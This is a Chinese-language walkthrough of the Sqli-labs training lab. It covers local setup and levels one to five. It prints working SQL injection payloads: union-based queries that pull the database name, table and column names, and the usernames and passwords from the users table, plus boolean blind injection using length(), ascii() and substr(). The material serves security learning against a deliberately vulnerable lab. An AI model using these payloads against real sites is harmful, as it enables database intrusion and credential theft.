SQLI,我们称之为sql注入,英文:Structured Query Language,叫做结构化查询语言。常见的结构化数据库有MySQL,MS SQL ,Oracle以及Postgresql。Sql语言就是我们在管理数据库时用到的一种。在我们的应用系统使用sql语句进行管理应用数据库时,往往采用拼接的方式形成一条完整的数据库语言,而危险的是,在拼接sql语句的时候,我们可以改变sql语句。从而让数据执行我们想要执行的语句,这就是我们常说的sql注入。而Sqli-labs是一个印度程序员写的,用来学习sql注入的一个游戏教程。
1.搭建
1.下载SQLI-LAB
链接:https://pan.baidu.com/s/1Hzcv7eJz4O9fAGLhAEH8gw?pwd=le7k (该文件支持php7)
提取码:le7k
https://github.com/Audi-1/sqli-labs(这个是php5)
并将其解压
2.把刚才的文件夹放在该目录下
3.打开sqli-labs-master在里面中找到sqli-connections并以记事本的方式打开db-creds.inc
打开后将$dbpass=‘’改为$dbpass=‘root’并保存
完成后打开phpstudy,启动Apache和Mysql
4.接着浏览器打开“http://127.0.0.1/sqli-labs-master/”访问首页
5.先点击Setup/reset Database for labs使其自动创建数据库,创建表并填充数据后是这样的页面
2.通关
第一关
1.Please input the ID as parameter with numeric value
请输入ID作为数值参数
2.我们输入我们分别输入?id=1, ?id=2
发现返回的值都不同 ,所以我们输入的内容是带入到数据库里面查询了。
3.可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
4首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=1'order by 3 --+
5.爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。
?id=-1'union select 1,2,3--+
6.获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26。
7.
information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。
8.
爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。
该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。
9.通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
第二关
1.和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所以我们可以猜测sql语句应该是数字型注入。那步骤和我们第一关是差不多的,只需要去掉单引号就行了
"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
后面的步骤同第一关
第三关
1.先用单引号闭合测试报错。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
2. 通过下面代码构建就可以进行sql注入。后面所有代码以此为基础进行构造。
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
?id=2')--+
通过在id参数中注入2')--,攻击者试图在SQL查询中添加一个注释来忽略原始查询的其余部分。这样的注入尝试可能是为了绕过原始查询的条件。
?id=1') order by 3--+
通过在id参数中注入1') order by 3--,攻击者试图执行一个SQL注入攻击。order by 3 是用于检查数据库表中是否存在第三列的SQL语句。--是SQL中的注释,用于注释掉原始查询的其余部分。
?id=-1') union select 1,2,3--+
通过在id参数中注入-1') union select 1,2,3--,攻击者试图进行联合查询。联合查询是一种利用UNION关键字合并两个SELECT语句的方式,允许攻击者检索额外的数据。
?id=-1') union select 1,database(),version()--+
通过在id参数中注入-1') union select 1,database(),version()--,攻击者试图获取当前数据库的名称和数据库版本。
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
通过在id参数中注入-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--,攻击者试图检索名为security数据库中所有表的名称。
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
通过在id参数中注入-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--,攻击者试图获取名为users表中所有列的名称。
?id=-1') union select 1,2,group_concat(username, id, password) from users--+
通过在id参数中注入-1') union select 1,2,group_concat(username, id, password) from users--,攻击者试图从名为users表中检索用户名、ID和密码的组合。
第四关
据页面报错信息得知sql语句是双引号字符型且有括号,通过以下代码进行sql注入
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
-
?id=1") order by 3--+
-
通过在
id
参数中注入1") order by 3--
,攻击者试图执行一个SQL注入攻击。order by 3
是用于检查数据库表中是否存在第三列的SQL语句。--
是SQL中的注释,用于注释掉原始查询的其余部分。 -
这样的注入尝试可能是为了确定目标数据库中表的结构。
-
-
?id=-1") union select 1,2,3--+
-
通过在
id
参数中注入-1") union select 1,2,3--
,攻击者试图进行联合查询。联合查询是一种利用UNION关键字合并两个SELECT语句的方式,允许攻击者检索额外的数据。 -
这样的注入尝试可能是为了检索第三列的数据,其中第一列是1,第二列是2,第三列是3。
-
-
?id=-1") union select 1,2,database()--+
-
通过在
id
参数中注入-1") union select 1,2,database()--
,攻击者试图获取当前数据库的名称。 -
这样的注入尝试可能是为了了解目标系统中使用的数据库。
-
-
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
-
通过在
id
参数中注入-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--
,攻击者试图检索名为security
数据库中所有表的名称。 -
这样的注入尝试可能是为了了解目标系统中的表结构。
-
-
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
-
通过在
id
参数中注入-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--
,攻击者试图获取名为users
表中所有列的名称。 -
这样的注入尝试可能是为了了解目标系统中的表结构。
-
-
?id=-1") union select 1,2,group_concat(username, id, password) from users--+
-
通过在
id
参数中注入-1") union select 1,2,group_concat(username, id, password) from users--
,攻击者试图从名为users
表中检索用户名、ID和密码的组合。 -
这样的注入尝试可能是为了获取用户凭证等敏感信息。
-
第五关
第五关根据页面结果得知是字符型但是和前面四关还是不一样是因为页面虽然有东西。但是只有对于请求对错出现不一样页面其余的就没有了。这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择布尔盲注。布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间。
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。